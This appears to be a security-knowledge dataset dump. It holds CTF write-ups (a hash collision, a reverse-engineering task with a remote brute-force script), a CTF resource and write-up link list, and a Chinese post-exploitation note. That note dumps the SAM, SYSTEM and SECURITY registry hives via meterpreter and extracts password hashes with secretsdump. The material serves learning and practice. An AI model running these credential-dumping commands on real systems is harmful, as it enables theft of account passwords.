text
stringlengths
100
9.93M
category
stringclasses
11 values
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CVE-2022-22978</title> </head> <body> Forbidden / Access denied </body> </html>
sec-knowleage
# Collision course In this task, we were given a hasher binary (`foobar`) and a file, for which we had to find a collision (`collider`), that is a file, which passed as input to `foobar` gives the same hash. There could be many solutions, but only one of them makes sense (is an English text). Analyzing the assembly, we can rewrite the binary into the following pseudocode: ``` def hash(block): block^=A ROR(block, 7) block+=B ROL(block, 7) block*=C return block state=0 for 4-byte block in input: h=hash(block) state^=h ROR(state, 7) print state ``` Since state is printed out after every iteration, we know every state. Let's denote them as s0, s1 and so on, where s0=0 (initial state). ``` s(i+1)=ROR( s(i)^hash(block), 7 ) ROL( s(i+1), 7 )=s(i)^hash(block) hash(block) = s(i) ^ ROL( s(i+1), 7 ) ``` So, since we know all s(i), we easily calculate all hashes of 4-byte blocks. Since 4 bytes are in the brute-force range (and the search space could be significantly lowered by considering only printable characters), we implemented the hash in `main.cpp` and brute-forced all fitting input blocks. Output was not unique, but it was easy to choose the correct answer from the few possibilities.
sec-knowleage
很多环境下,不允许上传或者使用 mimikatz。而针对非域控的单机离线提取 hash 显得尤为重要。 在 meterpreter shell 命令切到交互式 cmd 命令。 ![](media/647ac3d1d83b7d7711b2cfd0ce18f1d5.jpg) reg save 方式使得需要下载的目标机hash文件更小。 * reg save HKLM\SYSTEM sys.hiv * reg save HKLM\SAM sam.hiv * reg save hklm\security security.hiv ![](media/cebaa1fc93231bc1aaf7738c222b5ac6.jpg) ![](media/f2dc08a2bd64fc29ec0189933b4442dc.jpg) meterpreter下自带download功能。 ![](media/336cd95e4be157c266efcd04d9ddc064.jpg) ![](media/3f2d037ed7ac0197c01e95b7651fad41.jpg) ### 离线提取: 本季用到的是 impacket 的 secretsdump.py。Kali默认路径:`/root/impacket/examples/secretsdump.py` **命令如下:** ```bash root@John:/tmp# python /root/impacket/examples/secretsdump.py ‐sam sam.hiv ‐security security.hiv ‐system sys.hiv LOCAL ``` ![](media/ced7254cc160ced11f2f3f512df53aec.jpg) > Micropoor
sec-knowleage
# re5 (re, 120pts) ```bash michal@DESKTOP-U3SJ9VI:/mnt/c/Users/nazyw/Downloads$ file ctfq.exe ctfq.exe: PE32 executable (console) Intel 80386, for MS Windows ``` The binary is rather simple, it offers us 2 possibilities: ```c++ int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ecx FILE *v4; // eax char v5; // al int v7; // [esp+0h] [ebp-4h] v7 = v3; init_socket(); print_stuff("\n press 1 to input conmmand\n 2 to generate offline key\n 3 help? \n 4 exit\n"); do { v4 = (FILE *)__acrt_iob_func(0); fflush(v4); gets((char *)&v7); v5 = v7; if ( (_BYTE)v7 == '1' ) { send_command(); v5 = v7; } if ( v5 == '2' ) { encrypt_thing(); v5 = v7; } if ( v5 == '3' ) { print_stuff("id/command help have been sended to you email"); v5 = v7; } } while ( v5 != '4' ); return 0; } ``` The first option allows us to send a message to the server in a following format: ```python "%s|%s|%s|%s\n" % (command_id, command_name, company_name, other_data) ``` Since command_id has only 1000 possible values, let's try out all of them: ```python from pwn import * for i in range(1000): secret_id = str(i) command_name = "test" company_name = "test" other_data = "test" r = remote("66.42.55.226", 8888) r.send("%s|%s|%s|%s\n" % (secret_id, command_name, company_name, other_data)) data = r.recv() if data != 'wrong id\n id looklike 000-999\n\x00': print(i, data) ``` Gave us: ``` (720, 'wrong id\n id looklike 000-999\n\x00') ``` After a bunch of guessing, we came up with: A final script: ```python from pwn import * secret_id = 720 command_name = "view" company_name = "fis" other_data = "1111111111" r = remote("66.42.55.226", 8888) r.send("%s|%s|%s|%s\n" % (secret_id, command_name, company_name, other_data)) data = r.recv() print(data) ``` Gives us a following string: ``` [+] Opening connection to 66.42.55.226 on port 8888: Done vqmuwzjxfmqmdnfhr \x00 [*] Closed connection to 66.42.55.226 port 8888 ``` The second option in the menu allows us to encrypt a string using our company name, so we probably have to decrypt it. ``` print_stuff("\n companyname:\n"); gets(v10); print_stuff("\n secret key:\n"); memset(v8, 0, 0x100u); gets(v9); v0 = 0; v1 = 0; v2 = strlen(v9); if ( v2 ) { v3 = strlen(v10); do { if ( v0 == v3 ) v0 = 0; v4 = v10[v0++]; v8[v1++] = v4; } while ( v1 < v2 ); } v5 = 0; if ( v2 ) { do { if ( v6 >= 'a' && v6 <= 'z' ) v9[v5] = ((unsigned __int8)v8[v5] + v6 - 192) % 27 + 0x60; ++v5; } while ( v5 < strlen(v9) ); } return print_stuff("\nkey:%s\n", v9); ``` Nothing fancy: ```python data = 'vqmuwzjxfmqmdnfhr' company_name = 'fis' # there is probably a smarter way of doing this ¯\_(ツ)_/¯ def et_tu_brute(c, f): for x in range(ord('a'), ord('z') + 1): if ((x + f - 192) % 27) + 0x60 == c: return x flag = ''.join([chr(et_tu_brute(ord(x), ord(company_name[i % len(company_name)]))) for i,x in enumerate(data)]) print(flag) ``` Which gives us `phuongdonghuyenbi`
sec-knowleage
# CTF --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **[大型赛事Writeup](#大型赛事writeup)** * [部委&公安&网信](#部委&公安&网信) * [CNAS](#CNAS) * [ISG](#ISG) * [虎符杯](#虎符杯) * [强网杯](#强网杯) * [网鼎杯](#网鼎杯) * [羊城杯](#羊城杯) * [美亚杯](#美亚杯) * [湖湘杯](#湖湘杯) * [祥云杯](#祥云杯) * [纵横杯](#纵横杯) * [陇剑杯](#陇剑杯) * 2020 * 2019 * [高校](#高校) * [CISCN](#ciscn) * 2020 * 2019 * 2018 * 2016 * [公司&行业](#公司&行业) * [XCTF](#xctf) * [DASCTF](#dasctf) * 2021 * 2020 * 2019 * 2018 * [国外](#国外) * 2020 * 2019 * 2016 * [未分类](#未分类) --- **平台** - https://buuoj.cn/ - https://www.ctfhub.com/#/index - http://www.hetianlab.com/CTFrace.html - https://adworld.xctf.org.cn/ - https://www.ichunqiu.com/battalion?t=1 - http://ctf.bugku.com/ - https://www.wechall.net/ - https://ctftime.org/ - https://pwnhub.cn/index - http://hackinglab.cn/ - https://new.bugku.com/ **学习资源** - https://ctf-wiki.github.io/ctf-wiki/ - https://trailofbits.github.io/ctf/ - https://l1nwatch.gitbooks.io/ctf/content/ - https://yq.aliyun.com/articles/333082 - https://www.peerlyst.com/posts/ctf-write-ups-wiki-peerlyst - https://github.com/L1nwatch/CTF - https://ctf-wiki.github.io/ctf-wiki/misc/introduction-zh/ - https://github.com/M0cK1nG-b1Rd/CTF-Mind-maps **工具合集** - [zardus/ctf-tools](https://github.com/zardus/ctf-tools) - 安全研究工具的一些设置脚本。 **赛题收集** - [sajjadium/ctf-archives](https://github.com/sajjadium/ctf-archives) **Tips** - 一些找 flag 姿势 ``` find / -name flag* find / -name * | grep "flag{" echo $PATH | grep "flag{" env | grep "flag" ``` **比赛经验** 团队协作,并灵活分工,选择自己擅长的,能做的。 看自己的侧重方向: - WEB: WEB+MISC+CRYPTO - PWN: PWN+REVERSE 如何稳定提分: - 尽量拿高分,解不出来就跳过换下一个 - 学到东西,没弄懂的赛后弄懂 - 按题型攻克 快速学习的途径: - 收集、复现各类比赛的 writeup(解题思路) - 在各类平台上刷题,不断参与挑战各类 CTF 比赛 CTF - Web - SQL - SSRF - SSTI - Misc - 流量分析 - 磁盘取证 - 内存取证 - Crypto - 基本每场都有 RSA,不多说了 AWD - 流量监控很重要, 注意观察其他队伍的 POC 办比赛的角度 1. 现场准备 Type C 转网卡的转换器,有大量轻薄本不自带网口需要转接器 2. 准备口罩、消毒液 3. 提前规划好静态、动态 flag 4. 尽量统一 flag 格式 5. 网段隔离 6. 信号屏蔽器、无线dos 7. 如果是需要自己拼出来的flag,尽量不要用 leet 形式 --- ## 知识点学习 ### Web - [CTF中的命令执行绕过](https://mp.weixin.qq.com/s/fs-IKJuDptJeZMRDCtbdkw) - [wonderkun/CTF_web](https://github.com/wonderkun/CTF_web) ### Misc - [ctf001 | Glun](http://www.glun.top/2020/05/23/ctf01/) - [ctf03 | Glun](http://www.glun.top/2020/10/13/ctf03/) - [CTF-MISC总结](https://ares-x.com/2017/11/07/CTF-Misc%E6%80%BB%E7%BB%93/) - [BUUCTF的Misc(1-110题)](https://www.icode9.com/content-4-787951.html) --- ## 赛事运营 ### AWD **平台搭建** - [mo-xiaoxi/AWD_CTF_Platform](https://github.com/mo-xiaoxi/AWD_CTF_Platform) - 一个简单的 AWD 训练平台 - https://www.cnblogs.com/p201821440039/p/12290724.html - [D0g3-Lab/H1ve](https://github.com/D0g3-Lab/H1ve) - An Easy / Quick / Cheap Integrated Platform - https://www.freebuf.com/sectool/221739.html - [zhl2008/awd-platform](https://github.com/zhl2008/awd-platform) - platform for awd - https://mp.weixin.qq.com/s/ffh-Jkt9UUKHErxeUMw4aw - https://www.cnblogs.com/Triangle-security/p/11332223.html **相关文章** - [聊聊AWD攻防赛流程及准备经验](https://www.freebuf.com/articles/network/201222.html) --- ## 大型赛事Writeup **赛事安排** - https://ctftime.org/event/list/ - https://www.ichunqiu.com/competition/all?source=1 --- ### 部委&公安&网信 #### CNAS **2018** - [2018年CNAS网络安全等级保护测评能力验证与攻防大赛writeup](http://www.jdicsp.org/xinwengonggao/gongsixinwen/20181023/16.html) **2017** - [2017年CNAS网络安全等级保护测评能力验证与攻防大赛部分题目writeup](https://freewechat.com/a/MzIyNTI0ODcwMw==/2662122981/1) --- #### ISG **2018** - [ISG 2018 Web Writeup ](https://www.freebuf.com/articles/network/183413.html) --- #### 虎符杯 **2021** - [虎符CTF Writeup by X1cT34m](http://wh1sper.com/%E8%99%8E%E7%AC%A6ctf-writeup-by-x1ct34m/) - [2021虎符CTF逆向WP](https://www.cxyzjd.com/article/jxnu_666/115448655) - [CTF | 2021 数字中国创新大赛虎符网络安全赛道 WriteUp](https://miaotony.xyz/2021/04/04/CTF_2021HFCTF/) **2020** - [虎符杯两道NodeJS题目的分析](https://xz.aliyun.com/t/7714) - [数字中国创新大赛-虎符网络安全赛道Write up](https://mp.weixin.qq.com/s/ih2X8IXVFmrMVwJYuf5gng) - [虎符 CTF Web 部分 Writeup](https://www.zhaoj.in/read-6512.html) - [2020 虎符网络安全竞赛 web Writeup](https://www.anquanke.com/post/id/203417) - [虎符ctf2020 crypto GM](http://39.106.50.81/index.php/archives/9/) --- #### 强网杯 **2021** - [第五届“强网杯”全国网络安全挑战赛-线上赛Writeup](https://mochu.blog.csdn.net/article/details/117847706) - [强网杯青少年专项赛选拔赛 wp](https://mp.weixin.qq.com/s/8AAkbk--b8ojA7Ffb8XAQw) - [广东省强网杯企业组easy_pgsql writeup](https://mp.weixin.qq.com/s/NPD4cvlm9yJeL77ZvgStxA) - [2021广东强网杯|WEB及Crypto方向WP](https://mp.weixin.qq.com/s/VT2Ub7RmDPg1tzjQ__x23w) - [2021广东强网杯|Reverse及PWN方向WP](https://mp.weixin.qq.com/s/TWKQKMpV_UvJuVjHXywXzA) - [2021广东强网杯|MISC方向WP](https://mp.weixin.qq.com/s/kQtqYLlsuaEvr7-iEv9mBg) - [“强网”拟态防御国际精英挑战赛 WP](https://mp.weixin.qq.com/s/2RErninC7_C_SzKEYfuUJw) **2020** - [强网杯部分题目WriteUp](https://l1near.top/index.php/2020/08/24/65.html) - [强网杯 WRITEUP](https://mp.weixin.qq.com/s/5btNvwbuySvn_2h_3irvWQ) **2019** - [2019 第三届强网杯 Web 部分 WriteUp + 复现环境](https://www.zhaoj.in/read-5873.html) - [强网杯Web部分writeup](https://www.freebuf.com/articles/network/205789.html) - [2019强网杯部分题目记录](https://www.kkzevip.com/?post=47) - [2019广东强网杯Writeup(MISC)](https://sec.thief.one/article_content?a_id=bd1f559d1f0ddfe66b69d767a0b6cb5a) - [广东省第三届强网杯Writeup](https://www.hotbak.net/key/2019%E5%B9%BF%E4%B8%9C%E5%BC%BA%E7%BD%91%E6%9D%AFWriteupMISC.html) - [广东省强网杯部分题目Writeup](https://www.t00ls.net/viewthread.php?tid=52782&highlight=writeup) - [2019强网杯Web部分题解](https://nikoeurus.github.io/2019/05/29/2019%E5%BC%BA%E7%BD%91%E6%9D%AFWeb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/) **2019 强网杯拟态挑战赛** - [MIMIC Defense CTF 2019 final writeup](https://paper.seebug.org/932/) **2018 强网杯** - [2018 强网杯 CORE writeup 学习笔记](https://v1ckydxp.github.io/2019/08/27/2019-08-27-2018-%E5%BC%BA%E7%BD%91%E6%9D%AF-core/) --- #### 网鼎杯 **2020** - 青龙组 - [2020网鼎杯青龙组部分wp](https://www.52pojie.cn/thread-1176169-1-1.html) - [2020网鼎杯第一场Crypto题解](https://blog.csdn.net/cccchhhh6819/article/details/106038866/) - [网鼎杯2020青龙组 web writeup](https://www.xuenixiang.com/thread-2208-1-1.html) - [网鼎杯 2020 Web Writeup](https://www.xmsec.cc/wang-ding-bei-2020-web-writeup/) - [网鼎杯 2020 第一场 signal writeup](http://dreamcracker.today/2020/05/11/%e7%bd%91%e9%bc%8e%e6%9d%af-2020-%e7%ac%ac%e4%b8%80%e5%9c%ba-signal-writeup/) - [2020-网鼎杯(青龙组)-Web题目-AreUserialz Writeup](https://mp.weixin.qq.com/s/16QfU8lZYChSckJWtcLiqg) - [网鼎杯-青龙组web题目writeup](https://mp.weixin.qq.com/s/E-lRUm1zPkEIxSoV7cHfow) - [2020网鼎杯青龙组_re_signal](https://mp.weixin.qq.com/s/uI2nLuM1K-J-fWBA-5Z7Zw) - [2020网鼎杯 青龙组 Android逆向题 rev01 WP](https://mp.weixin.qq.com/s/st6w3ax_DLHhd-AK5F509g) - [2020-网鼎杯(青龙组)_Web题目 FileJava Writeup](https://www.t00ls.net/viewthread.php?tid=56351&highlight=writeup) - [2020年第二届“网鼎杯”-网络安全大赛青龙组writeup](https://blog.fullstackpentest.com/2020-wang-ding-bei-writeup.html) - 白虎组 - [2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup](https://codingnote.cc/p/113802) - [网鼎杯2020白虎组Reverse-py,恶龙,幸运的数字 WP](https://www.52pojie.cn/thread-1180352-1-1.html) - [网鼎杯2020白虎组Crypto-rand,b64 WP](https://www.52pojie.cn/thread-1180315-1-1.html) - [网鼎杯2020白虎组web-picdown,张三的网站,starbucket WP](https://www.52pojie.cn/thread-1180274-1-1.html) - [网鼎杯2020白虎组misc-hidden,密码柜,boot WP](https://www.52pojie.cn/thread-1180202-1-1.html) - [网鼎杯2020白虎组misc-hack WP](https://www.52pojie.cn/thread-1180008-1-1.html) - [[原创]网鼎杯2020 白虎组 【恶龙】 解题](https://bbs.pediy.com/thread-259532.htm) - [网鼎杯CTF——白虎组 (week 4) ](https://l0x1c.github.io/2020/05/15/2020-5-14/#HERO) - [[原创]网鼎杯2020 白虎组 CY 解题](https://bbs.pediy.com/thread-259529.htm) - [网鼎杯白虎组部分题目复盘](https://www.secquan.org/Notes/1071122) - [网鼎杯2020白虎组Misc题目hidden总结](https://mp.weixin.qq.com/s/G1NttGYTUsQ1i8wNJQ667g) - [网鼎杯-白虎组web题目writeup](https://mp.weixin.qq.com/s/v2C4BtZSYJDT64_ByrDhoA) - [2020网鼎杯白虎组re 恶龙 wp](https://www.52pojie.cn/thread-1181663-1-1.html) - 朱雀组 - [2020网鼎杯朱雀组云顿WP(入门向)](https://mp.weixin.qq.com/s/TpKXezPMZLx3VlejxlFyiQ) - [【网鼎杯2020朱雀组】Web WriteUp](https://www.cnblogs.com/vege/p/12907941.html) - [[re]go语言逆向:2020网鼎杯朱雀组re what wp](https://blog.csdn.net/Breeze_CAT/article/details/106195499) - [2020网鼎杯朱雀组_PHPweb](https://blog.csdn.net/gd_9988/article/details/106181577) - [2020网鼎杯-朱雀组-部分wp](https://www.anquanke.com/post/id/205578) - [2020网鼎杯-朱雀组部分题目Writeup](https://www.kkzevip.com/?post=51) - [2020网鼎杯-朱雀组-Crypto、Misc(带视频) ](https://mp.weixin.qq.com/s/XYkgD_5Y0FcgsNqRAb_1Yw) - [2020网鼎杯朱雀组逆向2 tree](https://www.52pojie.cn/thread-1181476-1-1.html) - 玄武组 - [网鼎杯2020-玄武组签到题](https://blog.csdn.net/slavik_/article/details/106264509) - [网鼎杯玄武组部分web题解](https://mp.weixin.qq.com/s/Kr2AlygNpeM7UYiLPINcrA) - [网鼎杯-玄武组-writeup-简单思路讲究](https://mp.weixin.qq.com/s/PlpG6maNObxvRaXuaVSwIA) - [2020网鼎杯玄武组_babyvm](https://bbs.pediy.com/thread-259714.htm) - [2020网鼎杯玄武组部分题writeup(签到/vulcrack/java/js_on)](https://blog.csdn.net/w1590191166/article/details/106314499/) - [2020网鼎杯-玄武组-部分WriteUp](https://mp.weixin.qq.com/s/xNDUYkxCIEJuvHJWQwtflw) - [【CTF】网鼎杯【玄武组】CTF部分题](https://blog.csdn.net/God_XiangYu/article/details/106306773) - [网鼎杯(玄武)web2 WriteUp](https://www.t00ls.net/viewthread.php?tid=56484&highlight=writeup) **2018** - 青龙组 - [【2018年 网鼎杯CTF 第一场】China H.L.B “网鼎杯” 部分WriteUp ](https://xz.aliyun.com/t/2611) - [【2018年 网鼎杯CTF 第一场】Web 题解 ](https://xz.aliyun.com/t/2607) - [ 网鼎杯2018第一场WEB&Misc WP ](https://v0w.top/2018/08/20/%E7%BD%91%E9%BC%8E%E6%9D%AF2018%E7%AC%AC%E4%B8%80%E5%9C%BAWEB&Misc%20WP/) - [2018网鼎杯部分WriteUp](https://cyto.top/2018/08/21/writeup-2018wangdingbei/) - [【2018年 网鼎杯CTF 第一场】教育组 WP — Lilac ](https://xz.aliyun.com/t/2608) - [2018网鼎杯第1场](https://github.com/hongriSec/CTF-Training/tree/master/2018/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC1%E5%9C%BA) - 白虎组 - [网鼎杯第二场wp](https://www.o2oxy.cn/1688.html) - [网鼎杯 2018 game writeup](http://dreamcracker.today/2020/05/12/%e7%bd%91%e9%bc%8e%e6%9d%af-2018-game-writeup/) - [“网鼎杯”第二场Write up](https://www.smi1e.top/%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%BA%8C%E5%9C%BAwrite-up/) - [2018网鼎杯第2场](https://github.com/hongriSec/CTF-Training/tree/master/2018/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC2%E5%9C%BA) - 朱雀组 - [网鼎杯第三场wp](https://www.o2oxy.cn/1753.html) - [“网鼎杯”第三场Write up](https://www.smi1e.top/%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%B8%89%E5%9C%BAwrite-up/) - [180828 逆向-网鼎杯(3-2)](https://blog.csdn.net/whklhhhh/article/details/82150041) - [2018网鼎杯第3场](https://github.com/hongriSec/CTF-Training/tree/master/2018/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC3%E5%9C%BA) - [2020网鼎杯朱雀组部分Web题wp](https://www.anquanke.com/post/id/205679) - 玄武组 - [网鼎杯 第四场 部分WriteUp](https://www.anquanke.com/post/id/158386) - [网鼎杯第四场 shenyue2 writeup](https://www.secshi.com/16267.html) - [网鼎杯第四场wp](https://www.o2oxy.cn/1817.html) - [网鼎杯 2018 dalao writeup](http://dreamcracker.today/2020/05/13/%e7%bd%91%e9%bc%8e%e6%9d%af-2018-dalao-writeup/) - [2018网鼎杯第4场](https://github.com/hongriSec/CTF-Training/tree/master/2018/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC4%E5%9C%BA) - 线下赛 - [2018网鼎杯线下赛](https://github.com/hongriSec/CTF-Training/tree/master/2018/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%BA%BF%E4%B8%8B%E8%B5%9B) --- #### 羊城杯 **2021** - [2021年“羊城杯”网络安全大赛部分Writeup](https://blog.csdn.net/qq_42815161/article/details/120260053) - [羊城杯wp](https://mp.weixin.qq.com/s/6i5iel2I9rMV2BtwMRZfPQ) **2020** - [羊城杯-Reverse-WP](https://www.zrzz.site/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AF-Reverse-WP/) - [羊城杯Easy Java题解](https://zhzhdoai.github.io/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AFEasy-Java%E9%A2%98%E8%A7%A3/) - [羊城杯-WriteUp](https://mp.weixin.qq.com/s/ODYQ-vB5n-pebMcl4XxCzg) #### 美亚杯 **2020** - [20年美亚杯个人赛-Alice LG Phone部分WRITE UP](https://www.cnblogs.com/zhwyyswdg/p/14008424.html) - [20年美亚杯个人赛-ALICE_USB部分WRITE UP](https://www.cnblogs.com/zhwyyswdg/p/14011629.html) - [20年美亚杯个人赛-Alice_Laptop部分WRITE UP](https://www.cnblogs.com/zhwyyswdg/p/14006353.html) - [20年美亚杯WRITE UP](https://www.cnblogs.com/zhwyyswdg/p/14006162.html) **2018** - [18年美亚杯团体赛-C部分 WRITE UP](https://www.cnblogs.com/zhwyyswdg/p/14002475.html) - [18年美亚杯团体赛-B部分 WRITE UP](https://www.cnblogs.com/zhwyyswdg/p/14001433.html) **2017** - [电子取证 | 第三届美亚杯(2017)个人赛题解](https://www.cnblogs.com/zhwer/p/12230189.html) --- #### 湖湘杯 **2021** - [湖湘杯-WriteUp](https://mp.weixin.qq.com/s/qbUbBBTYi_7ODxGmQKhABA) - [第七届“湖湘杯”网络安全大赛线下总决赛WP](https://mp.weixin.qq.com/s/NpnqcUzFQqvKe1jDHAkUWQ) **2020** - [湖湘杯-WriteUp](https://mp.weixin.qq.com/s/MEX8eJ6LqO0ubnLMGN3K9w) - [2020湖湘杯部分WriteUp](https://nosec.org/home/detail/4599.html) **2019** - [2019 湖湘杯Web部分题解WriteUp](https://nikoeurus.github.io/2019/11/10/2019%E6%B9%96%E6%B9%98%E6%9D%AFwp/) **2018** - [湖湘杯线下AWD记录](https://mp.weixin.qq.com/s/yv8Lsc1WqWqeH-GtWnXA5Q) --- #### 祥云杯 **2021** - [2021第二届“祥云杯”网络安全大赛 部分Writeup](https://blog.csdn.net/qq_42815161/article/details/119867158) **2020** - [祥云杯-Writeup](https://mp.weixin.qq.com/s/D2hdFISbttaezhnqnHFEsQ) - [祥云杯2020 部分WriteUp](https://mp.weixin.qq.com/s/CP3-W8VcLokQNYMSbXw9wg) --- #### 纵横杯 **2020** - [纵横杯2020 部分WriteUp](https://mp.weixin.qq.com/s/mdFgQPY8-Zw49huj4F_klQ) --- #### 陇剑杯 **2021** - [陇剑杯 个人 ’WriteUp‘](http://www.snowywar.top/?p=2554) - [安全-陇剑杯2021(部分)](https://blog.csdn.net/smallfox233/article/details/120291706) - [2021【线下】 陇剑杯wp](https://mp.weixin.qq.com/s/9fopUOhL0Met0lZxV-5S1A) - [2021年陇剑杯线上赛](https://secgxx.com/ctf/competition/2021longjiancup/) - [2021陇剑杯部分WP](https://blog.csdn.net/qq_40568770/article/details/120311122) --- #### 绿城杯 **2021** - [2021 绿城杯 wp](https://mp.weixin.qq.com/s/sdPBAaWXZARMU2VlO7b1dg) - [绿城杯-2021 部分WriteUp(晋级)](https://mp.weixin.qq.com/s/wRXs586qjoFdLx37xPNvjQ) - [绿城杯-WriteUp](https://mp.weixin.qq.com/s/tulBiwucSYOJUkCa--0Wow) - [2021 绿城杯 Crypto 部分wp](https://icode9.com/content-4-1158507.html) --- #### 鹤城杯 **2021** - [2021鹤城杯|WEB部分WP全](https://mp.weixin.qq.com/s/_9acgNlTA_yqMqZK_Std-A) - [鹤城杯-WriteUp](https://mp.weixin.qq.com/s/TZt0oUkmgJYe21SbcS5Ybw) - [2021鹤城杯|PWN部分WP全](https://mp.weixin.qq.com/s/WGEjSSNDJuZcnqJJev5zGQ) - [2021鹤城杯|Reverse及MISC部分WP全](https://mp.weixin.qq.com/s/4ZbYy_Kl3A5XTmi1AlpPfQ) --- #### 长城杯 **2021** - [长城杯线上赛WP](https://mp.weixin.qq.com/s/LxPQDJ8xvBq4Qc-89td1_A) - [第一届"长城杯"网络安全大赛WP](https://mp.weixin.qq.com/s/CUJDx3x7nXpDYU8UdVOXfQ) - [2021 第一届 长城杯ctf wp](https://mp.weixin.qq.com/s/xAn7QLmS2bNd0Iql59rsPQ) --- #### 赣网杯 **2021** - [2021赣网杯WEB题目WP](https://mp.weixin.qq.com/s/OU5mnVCeCXwQ-oVnGkwW7Q) - [2021年第二届赣网杯网络安全大赛MISC-Writeup](https://mp.weixin.qq.com/s/I_OyYVvlNOzmG2JnAGuYdg) - [赣网杯 MISC Writeup](https://mp.weixin.qq.com/s/mbguu98sNMGM8IEjLHNNpg) --- #### 长安杯 **2021** - [2021长安杯|Web & Crypto 部分wp合集](https://mp.weixin.qq.com/s/OWLoMnaxfKcpP4-7QiBktw) - [2021 长安杯 wp](https://mp.weixin.qq.com/s/tYcLkQ0Ay9_IYt1XJF9EFA) - [长安杯-WriteUp](https://mp.weixin.qq.com/s/gORwuwOIZvwD6mZQePTHYQ) --- #### 2021 **2021 西湖论剑** - [西湖论剑-WriteUp](https://mp.weixin.qq.com/s/HSLnu1pmTZ7AYxMM8oNBaw) - [西湖论剑 部分wp](https://mp.weixin.qq.com/s/S_t02JOYnSg2ZB71WlhErA) - [2021 西湖论剑CTF-wp](https://mp.weixin.qq.com/s/TR8FJ8ObZR3puQlZ9gIZOw) - [西湖论剑2021中国杭州网络安全技能大赛writeup](https://mp.weixin.qq.com/s/q1KNC5F8qHDpTTZQcFaWZA) **2021 第五空间** - [第五空间-2021 部分WriteUp](https://mp.weixin.qq.com/s/9QzrQxy_oIqiZpFlld3oyw) - [第三届第五空间网络安全大赛WP](https://mp.weixin.qq.com/s/0UwX26Ofi0exLv38kqFt_A) --- #### 2020 **宁波市第三届网络安全大赛** - [宁波市第三届网络安全大赛线上赛部分题目-writeup](https://blog.csdn.net/qq_45628145/article/details/107183635) - [2020宁波市第三届网络安全大赛 Web Writeup](https://www.cnblogs.com/skyxmao/p/13262594.html) - [宁波市第三届网络安全大赛-WriteUp(Misc)](https://codingnote.cc/p/150404) **2020 “第五空间”智能安全大赛** - [2020 “第五空间”智能安全大赛初赛两道 RE 解题报告(writeup)](https://hx1997.github.io/2020/06/25/5space-2020-re-writeup/) - [2020第五空间Final](https://blog.szfszf.top/article/47/) **2020 极客巅峰** - [极客巅峰2020 部分WriteUp](https://www.secpulse.com/archives/143078.html) **2020 西湖论剑** - [西湖论剑-WriteUp](https://mp.weixin.qq.com/s/dCi4n8lGhfxvPIdRn67reA) - [“西湖论剑” 2020 WriteUp By NepNep](http://www.qfrost.com/CTF/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91_2020/) #### 2019 **2019 西湖论剑** - [从西湖论剑2019Storm_note看largebin attack](https://www.anquanke.com/post/id/176194) - [杭州"西湖论剑"ctf-Web](https://nikoeurus.github.io/2019/04/11/%E6%9D%AD%E5%B7%9E%E2%80%9C%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91%E2%80%9Dctf-Web/) - [2019西湖论剑杯writeup](https://ab-alex.github.io/2019/04/11/2019%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91%E6%9D%AFwriteup/) - [西湖论剑2019 WriteUp](https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA) **2019 第五空间** - [“第五空间”网络安全线下赛PWN部分WRITEUP](https://xz.aliyun.com/t/6431) --- ### 教育 #### CISCN **2020** - [CTF | 2020 CISCN初赛 Z3&LFSR WriteUp](https://miaotony.xyz/2020/08/27/CTF_2020CISCN_preliminary/) - [2020CISCN-初赛Web](https://jwt1399.top/posts/17919.html) - [2020国赛CTF审计题目babyunserialize](https://mp.weixin.qq.com/s/8VjFFYKzMIlTXuH2v2MRxQ) **2019** - [CISCN 2019 东北赛区 Day2 Web3 WriteUp](https://www.zhaoj.in/read-6057.html) - [CISCN 2019 华东北赛区 Web2 WriteUp](https://www.zhaoj.in/read-6100.html) - [全国第十二届大学生信息安全竞赛 线上初赛 Web 部分 WriteUp](https://www.zhaoj.in/read-5417.html) - [CISCN 华北赛区 Day1 Web2 WriteUp](https://www.zhaoj.in/read-5946.html) - [ciscn线下部分题解](https://ab-alex.github.io/2019/06/05/ciscn%E7%BA%BF%E4%B8%8B%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/) --- #### 2021 **2021 hackergame** - [USTC-Hackergame/hackergame2021-writeups](https://github.com/USTC-Hackergame/hackergame2021-writeups) **2021 河南省第三届金盾信安杯** - [河南省第三届“金盾信安杯”网络安全大赛Writeup](https://mp.weixin.qq.com/s/B6WWQ8aVe3Fb2D9dLWmMZA) **2021 追日杯** - [首届安徽"追日杯"大学生网络安全挑战赛WRITEUP](https://mp.weixin.qq.com/s/K5O4ADsQWMI0TEX6cnBNXg) - [首届安徽"追日杯"大学生网络安全挑战赛wp](https://mp.weixin.qq.com/s/4MiFU0NdGcNchHXojlBsiQ) **2021 东软杯** - [东软杯-WriteUp](https://mp.weixin.qq.com/s/KgxHOFH52EE8z7NnMTSIDA) **2021 安洵杯** - [安洵杯-WriteUp](https://mp.weixin.qq.com/s/vC2bgJlYfA8wzXcmQFynlA) **2021网络安全领军人才攻防大赛** - [2021网络安全领军人才攻防大赛 | Pwn方向WP](https://mp.weixin.qq.com/s/ZyzjHDUhA-u781F2IfcVUg) - [2021网络安全领军人才攻防大赛 | Crypto及Reverse方向WP合集](https://mp.weixin.qq.com/s/mhRWKQqnesVVDoJQktYIzA) - [2021网络安全领军人才攻防大赛 | Web方向WP](https://mp.weixin.qq.com/s/keTllFjA3kK9sMz_wPRvpg) **“东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛** - 